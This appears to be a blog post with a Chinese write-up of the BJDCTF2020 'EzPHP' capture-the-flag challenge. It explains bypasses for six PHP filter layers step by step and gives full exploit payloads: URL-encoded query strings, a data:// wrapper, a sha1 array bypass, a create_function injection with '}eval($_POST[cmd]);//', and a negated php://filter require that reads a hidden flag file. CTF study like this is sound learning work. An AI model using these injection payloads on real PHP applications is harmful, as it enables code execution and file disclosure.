当前位置: 首页 > news >正文

[BJDCTF2020]EzPHP

这一道题里面的知识点实在是太多了,即使这道题是我最喜欢的RCE也有点大脑停转了,所以还是做个笔记,以后方便回忆

直接跳过打点,来到源码

<?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

短短51行代码居然有六层过滤,也是阴的没边,这次的payload至今为止也是鼠鼠手打过最长的

第一层
if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}

首先看第一块,这里是正则匹配的过滤,但是注意到(注意力惊人)这里用的是$_SERVER

众所周知,get传参的时候会对get传的参数进行url解码,但是$_SERVER['QUERY_STRING']却不会。
所以说对于第一层过滤的所有字母和字符,都可以用url编码进行绕过。

第二层
if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');

这里就很简单了,传入debu=aque_is_cute的url编码格式绕过前面第一个过滤

%64ebu=%61qua_is_%63ute%0a这里我只部分进行了编码,至于file参数等下再说

但是这里我们发现又触发了第三层的过滤

第三层
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}

这里说他讨厌英语,传的参数值不能有英文的26个字母,但是我们又注意到这里是$_REQUEST传参,所以可以绕过

$_REQUEST传参时同时接收GET和POST的传参,但POST拥有更高的优先级,所以只需要POST相同的参数即可绕过。

%64ebu=%61qua_is_%63ute%0adebu=1

我们继续往下看,来到第四层

第四层
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里我们要让file的值等于debu_debu_aqua,所以这里要用到data伪协议,当然也是要和上面一样绕过第二层和第三层的过滤

file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0adebu=1&file=1
第五层
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这里是简单的sha1绕过MD5和sha1绕过方式总结正好今天下午刚看过

这里用到的是数组绕过,注意url编码就好

?file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&debu=1&file=1
第六层
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

这里是最核心的一层,也是我拼尽全力无法战胜的一层,所以去看了wp才恍然大悟

首先这里有两个参数$code$arg可控,可以利用$code('', $arg); 注入。

这里介绍一个函数:

PHP 中的 create_function($args, $code) 会创建一个匿名函数,举个例子:

比如我们传:

flag[code]=create_function
flag[arg]=}eval($_POST[cmd]);//

那么代码就变成:

$code = create_function;
$arg = '}eval($_POST[cmd]);//';$code('', $arg);  // => create_function('', '}eval($_POST[cmd]);//');

这个返回的函数等价于

function($a, $b) {}eval($_POST[cmd]);//
}

了解了原理,接下来我们来构造payload,因为过滤实在太多,所以我们先用:

flag[arg]=}var_dump(get_defined_vars());// 
flag[code]=create_function

来试一试,注意这里要用}提前闭合函数体

这样就得到了许多的变量键值,我就不贴上来了,最后有一个

"Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333"}

这里可以利用require(),来代替include()

require(php://filter/read=convert.base64- encode/resource=rea1fl4g.php);//

但是过滤的限制太多了,所以我们对其进行base64编码

%66%6c%61%67[%61%72%67]=};require(%62%61%73%65%36%34_%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functiondebu=1&file=1

但是这里只得到了假的flag,这里我查了很多资料,但是都只是提到了要用取反来读flag,没有人提这里仅仅进行URL编码不能读取到flag的问题。在我把这道题的源码全部读了一遍后,我猜测问题大概是出在unset()函数这里

unset函数本来是用来销毁变量的,这里让$realflag执行unset,本意是为了避免我们用上面的方法直接get_difined_vars直接读取flag,却影响了文件包含读取flag内容,所以这里要用到取反编码进行读取,后面我会写一遍关于unset函数的文章来详细解释

最终payload:

// GET
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=};require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);var_dump(get_defined_vars());//&flag[code]=create_function?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function// POST
debu=1&file=1

得到base64源码解码后得到flag

相关文章:

  • 在麒麟KylinOS上通过命令行配置KYSEC的防火墙
  • android 多个viewmodel之间通信
  • Math.round(),Math.ceil(),Math.floor(),Math.sqrt(),Math.pow(),Math.abs()等!
  • Redis专题
  • 深度学习框架PyTorch——从入门到精通(3.3)YouTube系列——自动求导基础
  • 在Cursor编辑器上部署MCP(Minecraft Coder Pack)完整指南
  • PyTorch与TensorFlow模型全方位解析:保存、加载与结构可视化
  • 使用go-git同步文件到gitee
  • 【OSG学习笔记】Day 5: 坐标系与变换节点(Transform)
  • Spark-SQL(四)
  • C++之unordered封装
  • MyBatis框架—xml映射
  • 可穿戴设备待机功耗需降至μA级但需保持实时响应(2万字长文深度解析)
  • Android Studio打开xml布局文件内存会快速增加如何设置
  • C语言复习笔记--字符函数和字符串函数(下)
  • Unity接入安卓SDK(3)厘清Gradle的版本
  • 第六章.java集合与泛型
  • UML 状态图:解锁电子图书馆管理系统的高效设计
  • android的 framework 有哪些知识点和应用场景
  • 一键部署k8s之EFK日志收集系统
  • 中越海警开展2025年第一次北部湾联合巡逻
  • 中共中央、国务院印发《关于实施自由贸易试验区提升战略的意见》
  • 文旅部:今年中国旅游日活动合作单位扩大至60多家
  • 一年一CT,十年进ICU?关于CT检查致癌的真相
  • 延安市委副书记马月逢已任榆林市委副书记、市政府党组书记
  • 今年以来金价涨幅超26%,未来会继续上涨吗?